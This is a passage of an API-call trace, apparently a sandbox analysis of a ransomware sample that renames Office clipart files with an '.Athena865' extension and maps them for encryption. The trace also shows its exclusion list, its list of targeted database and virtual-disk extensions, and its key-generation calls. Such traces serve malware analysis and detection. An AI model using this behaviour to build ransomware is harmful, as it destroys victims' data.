pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.279] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.279] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16a0, lpName=0x0) returned 0x154 [0121.283] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x16a0) returned 0x100000 [0121.284] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.284] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.284] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.285] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.286] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a04e500, ftCreationTime.dwHighDateTime=0x1bd4e61, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2a04e500, ftLastWriteTime.dwHighDateTime=0x1bd4e61, nFileSizeHigh=0x0, nFileSizeLow=0x1126, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AG00172_.GIF", cAlternateFileName="")) returned 1 [0121.286] lstrcmpiW (lpString1="AG00172_.GIF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0121.286] lstrcmpiW (lpString1="AG00172_.GIF", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0121.286] lstrcmpiW (lpString1="AG00172_.GIF", lpString2=".") returned 1 [0121.286] lstrcmpiW (lpString1="AG00172_.GIF", lpString2="..") returned 1 [0121.286] lstrcmpiW (lpString1="AG00172_.GIF", lpString2="windows") returned -1 [0121.286] lstrcmpiW (lpString1="AG00172_.GIF", lpString2="bootmgr") returned -1 [0121.286] lstrcmpiW (lpString1="AG00172_.GIF", lpString2="temp") returned -1 [0121.286] lstrcmpiW (lpString1="AG00172_.GIF", lpString2="pagefile.sys") returned -1 [0121.286] lstrcmpiW (lpString1="AG00172_.GIF", lpString2="boot") returned -1 [0121.286] lstrcmpiW (lpString1="AG00172_.GIF", lpString2="ids.txt") returned -1 [0121.286] lstrcmpiW (lpString1="AG00172_.GIF", lpString2="ntuser.dat") returned -1 [0121.286] lstrcmpiW (lpString1="AG00172_.GIF", lpString2="perflogs") returned -1 [0121.286] lstrcmpiW (lpString1="AG00172_.GIF", lpString2="MSBuild") returned -1 [0121.286] lstrlenW (lpString="AG00172_.GIF") returned 12 [0121.286] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AG00172_.GIF" | out: lpString1="AG00172_.GIF") returned="AG00172_.GIF" [0121.286] lstrlenW (lpString="AG00172_.GIF") returned 12 [0121.286] lstrlenW (lpString="Athena865") returned 9 [0121.286] lstrcmpiW (lpString1="0172_.GIF", lpString2="Athena865") returned -1 [0121.286] lstrlenW (lpString=".dll") returned 4 [0121.286] lstrcmpiW (lpString1="AG00172_.GIF", lpString2=".dll") returned 1 [0121.286] lstrlenW (lpString=".lnk") returned 4 [0121.286] lstrcmpiW (lpString1="AG00172_.GIF", lpString2=".lnk") returned 1 [0121.287] lstrlenW (lpString=".ini") returned 4 [0121.287] lstrcmpiW (lpString1="AG00172_.GIF", lpString2=".ini") returned 1 [0121.287] lstrlenW (lpString=".sys") returned 4 [0121.287] lstrcmpiW (lpString1="AG00172_.GIF", lpString2=".sys") returned 1 [0121.287] lstrlenW (lpString="AG00172_.GIF") returned 12 [0121.287] lstrlenW (lpString="bak") returned 3 [0121.287] lstrcmpiW (lpString1="GIF", lpString2="bak") returned 1 [0121.287] lstrlenW (lpString="ba_") returned 3 [0121.287] lstrcmpiW (lpString1="GIF", lpString2="ba_") returned 1 [0121.287] lstrlenW (lpString="dbb") returned 3 [0121.287] lstrcmpiW (lpString1="GIF", lpString2="dbb") returned 1 [0121.287] lstrlenW (lpString="vmdk") returned 4 [0121.287] lstrcmpiW (lpString1=".GIF", lpString2="vmdk") returned -1 [0121.287] lstrlenW (lpString="rar") returned 3 [0121.287] lstrcmpiW (lpString1="GIF", lpString2="rar") returned -1 [0121.287] lstrlenW (lpString="zip") returned 3 [0121.287] lstrcmpiW (lpString1="GIF", lpString2="zip") returned -1 [0121.287] lstrlenW (lpString="tgz") returned 3 [0121.287] lstrcmpiW (lpString1="GIF", lpString2="tgz") returned -1 [0121.287] lstrlenW (lpString="vbox") returned 4 [0121.287] lstrcmpiW (lpString1=".GIF", lpString2="vbox") returned -1 [0121.287] lstrlenW (lpString="vdi") returned 3 [0121.287] lstrcmpiW (lpString1="GIF", lpString2="vdi") returned -1 [0121.287] lstrlenW (lpString="vhd") returned 3 [0121.287] lstrcmpiW (lpString1="GIF", lpString2="vhd") returned -1 [0121.287] lstrlenW (lpString="vhdx") returned 4 [0121.287] lstrcmpiW (lpString1=".GIF", lpString2="vhdx") returned -1 [0121.287] lstrlenW (lpString="avhd") returned 4 [0121.287] lstrcmpiW (lpString1=".GIF", lpString2="avhd") returned -1 [0121.287] lstrlenW (lpString="db") returned 2 [0121.288] lstrcmpiW (lpString1="IF", lpString2="db") returned 1 [0121.288] lstrlenW (lpString="db2") returned 3 [0121.288] lstrcmpiW (lpString1="GIF", lpString2="db2") returned 1 [0121.288] lstrlenW (lpString="db3") returned 3 [0121.288] lstrcmpiW (lpString1="GIF", lpString2="db3") returned 1 [0121.288] lstrlenW (lpString="dbf") returned 3 [0121.288] lstrcmpiW (lpString1="GIF", lpString2="dbf") returned 1 [0121.288] lstrlenW (lpString="mdf") returned 3 [0121.288] lstrcmpiW (lpString1="GIF", lpString2="mdf") returned -1 [0121.288] lstrlenW (lpString="mdb") returned 3 [0121.288] lstrcmpiW (lpString1="GIF", lpString2="mdb") returned -1 [0121.288] lstrlenW (lpString="sql") returned 3 [0121.288] lstrcmpiW (lpString1="GIF", lpString2="sql") returned -1 [0121.288] lstrlenW (lpString="sqlite") returned 6 [0121.288] lstrcmpiW (lpString1="2_.GIF", lpString2="sqlite") returned -1 [0121.288] lstrlenW (lpString="sqlite3") returned 7 [0121.288] lstrcmpiW (lpString1="72_.GIF", lpString2="sqlite3") returned -1 [0121.288] lstrlenW (lpString="sqlitedb") returned 8 [0121.288] lstrcmpiW (lpString1="172_.GIF", lpString2="sqlitedb") returned -1 [0121.288] lstrlenW (lpString="xml") returned 3 [0121.288] lstrcmpiW (lpString1="GIF", lpString2="xml") returned -1 [0121.288] lstrlenW (lpString="$er") returned 3 [0121.288] lstrcmpiW (lpString1="GIF", lpString2="$er") returned 1 [0121.288] lstrlenW (lpString="4dd") returned 3 [0121.288] lstrcmpiW (lpString1="GIF", lpString2="4dd") returned 1 [0121.288] lstrlenW (lpString="4dl") returned 3 [0121.288] lstrcmpiW (lpString1="GIF", lpString2="4dl") returned 1 [0121.288] lstrlenW (lpString="^^^") returned 3 [0121.288] lstrcmpiW (lpString1="GIF", lpString2="^^^") returned 1 [0121.289] lstrlenW (lpString="abs") returned 3 [0121.289] lstrcmpiW (lpString1="GIF", lpString2="abs") returned 1 [0121.289] lstrlenW (lpString="abx") returned 3 [0121.289] lstrcmpiW (lpString1="GIF", lpString2="abx") returned 1 [0121.289] lstrlenW (lpString="accdb") returned 5 [0121.289] lstrcmpiW (lpString1="_.GIF", lpString2="accdb") returned -1 [0121.289] lstrlenW (lpString="accdc") returned 5 [0121.289] lstrcmpiW (lpString1="_.GIF", lpString2="accdc") returned -1 [0121.289] lstrlenW (lpString="accde") returned 5 [0121.289] lstrcmpiW (lpString1="_.GIF", lpString2="accde") returned -1 [0121.289] lstrlenW (lpString="accdr") returned 5 [0121.289] lstrcmpiW (lpString1="_.GIF", lpString2="accdr") returned -1 [0121.289] lstrlenW (lpString="accdt") returned 5 [0121.289] lstrcmpiW (lpString1="_.GIF", lpString2="accdt") returned -1 [0121.289] lstrlenW (lpString="accdw") returned 5 [0121.289] lstrcmpiW (lpString1="_.GIF", lpString2="accdw") returned -1 [0121.289] lstrlenW (lpString="accft") returned 5 [0121.289] lstrcmpiW (lpString1="_.GIF", lpString2="accft") returned -1 [0121.289] lstrlenW (lpString="adb") returned 3 [0121.289] lstrcmpiW (lpString1="GIF", lpString2="adb") returned 1 [0121.289] lstrlenW (lpString="adb") returned 3 [0121.289] lstrcmpiW (lpString1="GIF", lpString2="adb") returned 1 [0121.289] lstrlenW (lpString="ade") returned 3 [0121.289] lstrcmpiW (lpString1="GIF", lpString2="ade") returned 1 [0121.289] lstrlenW (lpString="adf") returned 3 [0121.289] lstrcmpiW (lpString1="GIF", lpString2="adf") returned 1 [0121.289] lstrlenW (lpString="adn") returned 3 [0121.289] lstrcmpiW (lpString1="GIF", lpString2="adn") returned 1 [0121.289] lstrlenW (lpString="adp") returned 3 [0121.290] lstrcmpiW (lpString1="GIF", lpString2="adp") returned 1 [0121.290] lstrlenW (lpString="alf") returned 3 [0121.290] lstrcmpiW (lpString1="GIF", lpString2="alf") returned 1 [0121.290] lstrlenW (lpString="ask") returned 3 [0121.290] lstrcmpiW (lpString1="GIF", lpString2="ask") returned 1 [0121.290] lstrlenW (lpString="btr") returned 3 [0121.290] lstrcmpiW (lpString1="GIF", lpString2="btr") returned 1 [0121.290] lstrlenW (lpString="cat") returned 3 [0121.290] lstrcmpiW (lpString1="GIF", lpString2="cat") returned 1 [0121.290] lstrlenW (lpString="cdb") returned 3 [0121.290] lstrcmpiW (lpString1="GIF", lpString2="cdb") returned 1 [0121.290] lstrlenW (lpString="ckp") returned 3 [0121.290] lstrcmpiW (lpString1="GIF", lpString2="ckp") returned 1 [0121.290] lstrlenW (lpString="cma") returned 3 [0121.290] lstrcmpiW (lpString1="GIF", lpString2="cma") returned 1 [0121.290] lstrlenW (lpString="cpd") returned 3 [0121.290] lstrcmpiW (lpString1="GIF", lpString2="cpd") returned 1 [0121.290] lstrlenW (lpString="dacpac") returned 6 [0121.290] lstrcmpiW (lpString1="2_.GIF", lpString2="dacpac") returned -1 [0121.290] lstrlenW (lpString="dad") returned 3 [0121.290] lstrcmpiW (lpString1="GIF", lpString2="dad") returned 1 [0121.290] lstrlenW (lpString="dadiagrams") returned 10 [0121.290] lstrcmpiW (lpString1="00172_.GIF", lpString2="dadiagrams") returned -1 [0121.290] lstrlenW (lpString="daschema") returned 8 [0121.290] lstrcmpiW (lpString1="172_.GIF", lpString2="daschema") returned -1 [0121.290] lstrlenW (lpString="db-journal") returned 10 [0121.290] lstrcmpiW (lpString1="00172_.GIF", lpString2="db-journal") returned -1 [0121.290] lstrlenW (lpString="db-shm") returned 6 [0121.290] lstrcmpiW (lpString1="2_.GIF", lpString2="db-shm") returned -1 [0121.291] lstrlenW (lpString="db-wal") returned 6 [0121.291] lstrcmpiW (lpString1="2_.GIF", lpString2="db-wal") returned -1 [0121.291] lstrlenW (lpString="dbc") returned 3 [0121.291] lstrcmpiW (lpString1="GIF", lpString2="dbc") returned 1 [0121.291] lstrlenW (lpString="dbs") returned 3 [0121.291] lstrcmpiW (lpString1="GIF", lpString2="dbs") returned 1 [0121.291] lstrlenW (lpString="dbt") returned 3 [0121.291] lstrcmpiW (lpString1="GIF", lpString2="dbt") returned 1 [0121.291] lstrlenW (lpString="dbv") returned 3 [0121.291] lstrcmpiW (lpString1="GIF", lpString2="dbv") returned 1 [0121.291] lstrlenW (lpString="dbx") returned 3 [0121.291] lstrcmpiW (lpString1="GIF", lpString2="dbx") returned 1 [0121.291] lstrlenW (lpString="dcb") returned 3 [0121.291] lstrcmpiW (lpString1="GIF", lpString2="dcb") returned 1 [0121.291] lstrcmpiW (lpString1="GIF", lpString2="dct") returned 1 [0121.291] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF.Athena865") returned 73 [0121.291] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif.athena865"), dwFlags=0x1) returned 1 [0121.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.293] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4390) returned 1 [0121.293] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.293] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.293] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.293] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.294] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.294] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.294] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1430, lpName=0x0) returned 0x154 [0121.296] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1430) returned 0x100000 [0121.296] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.297] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.297] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.297] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.298] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AG00174_.GIF" | out: lpString1="AG00174_.GIF") returned="AG00174_.GIF" [0121.298] lstrlenW (lpString="AG00174_.GIF") returned 12 [0121.298] lstrlenW (lpString="Athena865") returned 9 [0121.298] lstrcmpiW (lpString1="0174_.GIF", lpString2="Athena865") returned -1 [0121.298] lstrlenW (lpString=".dll") returned 4 [0121.298] lstrcmpiW (lpString1="AG00174_.GIF", lpString2=".dll") returned 1 [0121.298] lstrlenW (lpString=".lnk") returned 4 [0121.298] lstrcmpiW (lpString1="AG00174_.GIF", lpString2=".lnk") returned 1 [0121.298] lstrlenW (lpString=".ini") returned 4 [0121.298] lstrcmpiW (lpString1="AG00174_.GIF", lpString2=".ini") returned 1 [0121.298] lstrlenW (lpString=".sys") returned 4 [0121.298] lstrcmpiW (lpString1="AG00174_.GIF", lpString2=".sys") returned 1 [0121.298] lstrlenW (lpString="AG00174_.GIF") returned 12 [0121.298] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF.Athena865") returned 73 [0121.298] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif.athena865"), dwFlags=0x1) returned 1 [0121.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.299] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3966) returned 1 [0121.299] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.299] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.299] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.300] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.300] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.300] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.301] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1280, lpName=0x0) returned 0x154 [0121.302] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1280) returned 0x100000 [0121.303] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.303] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.303] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.303] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.304] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AG00175_.GIF" | out: lpString1="AG00175_.GIF") returned="AG00175_.GIF" [0121.304] lstrlenW (lpString="AG00175_.GIF") returned 12 [0121.304] lstrlenW (lpString="Athena865") returned 9 [0121.304] lstrcmpiW (lpString1="0175_.GIF", lpString2="Athena865") returned -1 [0121.304] lstrlenW (lpString=".dll") returned 4 [0121.304] lstrcmpiW (lpString1="AG00175_.GIF", lpString2=".dll") returned 1 [0121.304] lstrlenW (lpString=".lnk") returned 4 [0121.304] lstrcmpiW (lpString1="AG00175_.GIF", lpString2=".lnk") returned 1 [0121.304] lstrlenW (lpString=".ini") returned 4 [0121.304] lstrcmpiW (lpString1="AG00175_.GIF", lpString2=".ini") returned 1 [0121.304] lstrlenW (lpString=".sys") returned 4 [0121.304] lstrcmpiW (lpString1="AG00175_.GIF", lpString2=".sys") returned 1 [0121.304] lstrlenW (lpString="AG00175_.GIF") returned 12 [0121.304] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF.Athena865") returned 73 [0121.304] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif.athena865"), dwFlags=0x1) returned 1 [0121.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.305] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3378) returned 1 [0121.305] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.306] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.306] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.306] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.306] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.306] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.307] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1040, lpName=0x0) returned 0x154 [0121.308] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1040) returned 0x100000 [0121.309] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.309] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.309] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.310] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.312] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AG00176_.GIF" | out: lpString1="AG00176_.GIF") returned="AG00176_.GIF" [0121.312] lstrlenW (lpString="AG00176_.GIF") returned 12 [0121.312] lstrlenW (lpString="Athena865") returned 9 [0121.312] lstrcmpiW (lpString1="0176_.GIF", lpString2="Athena865") returned -1 [0121.312] lstrlenW (lpString=".dll") returned 4 [0121.312] lstrcmpiW (lpString1="AG00176_.GIF", lpString2=".dll") returned 1 [0121.312] lstrlenW (lpString=".lnk") returned 4 [0121.312] lstrcmpiW (lpString1="AG00176_.GIF", lpString2=".lnk") returned 1 [0121.312] lstrlenW (lpString=".ini") returned 4 [0121.312] lstrcmpiW (lpString1="AG00176_.GIF", lpString2=".ini") returned 1 [0121.312] lstrlenW (lpString=".sys") returned 4 [0121.312] lstrcmpiW (lpString1="AG00176_.GIF", lpString2=".sys") returned 1 [0121.312] lstrlenW (lpString="AG00176_.GIF") returned 12 [0121.312] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF.Athena865") returned 73 [0121.312] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif.athena865"), dwFlags=0x1) returned 1 [0121.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.313] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3120) returned 1 [0121.313] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.314] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.314] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.314] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.314] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.314] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.315] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf30, lpName=0x0) returned 0x154 [0121.317] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf30) returned 0x100000 [0121.319] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.319] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.319] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.319] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.320] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AN00010_.WMF" | out: lpString1="AN00010_.WMF") returned="AN00010_.WMF" [0121.320] lstrlenW (lpString="AN00010_.WMF") returned 12 [0121.320] lstrlenW (lpString="Athena865") returned 9 [0121.320] lstrcmpiW (lpString1="0010_.WMF", lpString2="Athena865") returned -1 [0121.320] lstrlenW (lpString=".dll") returned 4 [0121.320] lstrcmpiW (lpString1="AN00010_.WMF", lpString2=".dll") returned 1 [0121.320] lstrlenW (lpString=".lnk") returned 4 [0121.320] lstrcmpiW (lpString1="AN00010_.WMF", lpString2=".lnk") returned 1 [0121.320] lstrlenW (lpString=".ini") returned 4 [0121.320] lstrcmpiW (lpString1="AN00010_.WMF", lpString2=".ini") returned 1 [0121.320] lstrlenW (lpString=".sys") returned 4 [0121.320] lstrcmpiW (lpString1="AN00010_.WMF", lpString2=".sys") returned 1 [0121.320] lstrlenW (lpString="AN00010_.WMF") returned 12 [0121.320] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF.Athena865") returned 73 [0121.320] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf.athena865"), dwFlags=0x1) returned 1 [0121.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.322] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3026) returned 1 [0121.322] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.322] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.322] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.322] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.323] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.323] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.323] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xee0, lpName=0x0) returned 0x154 [0121.326] 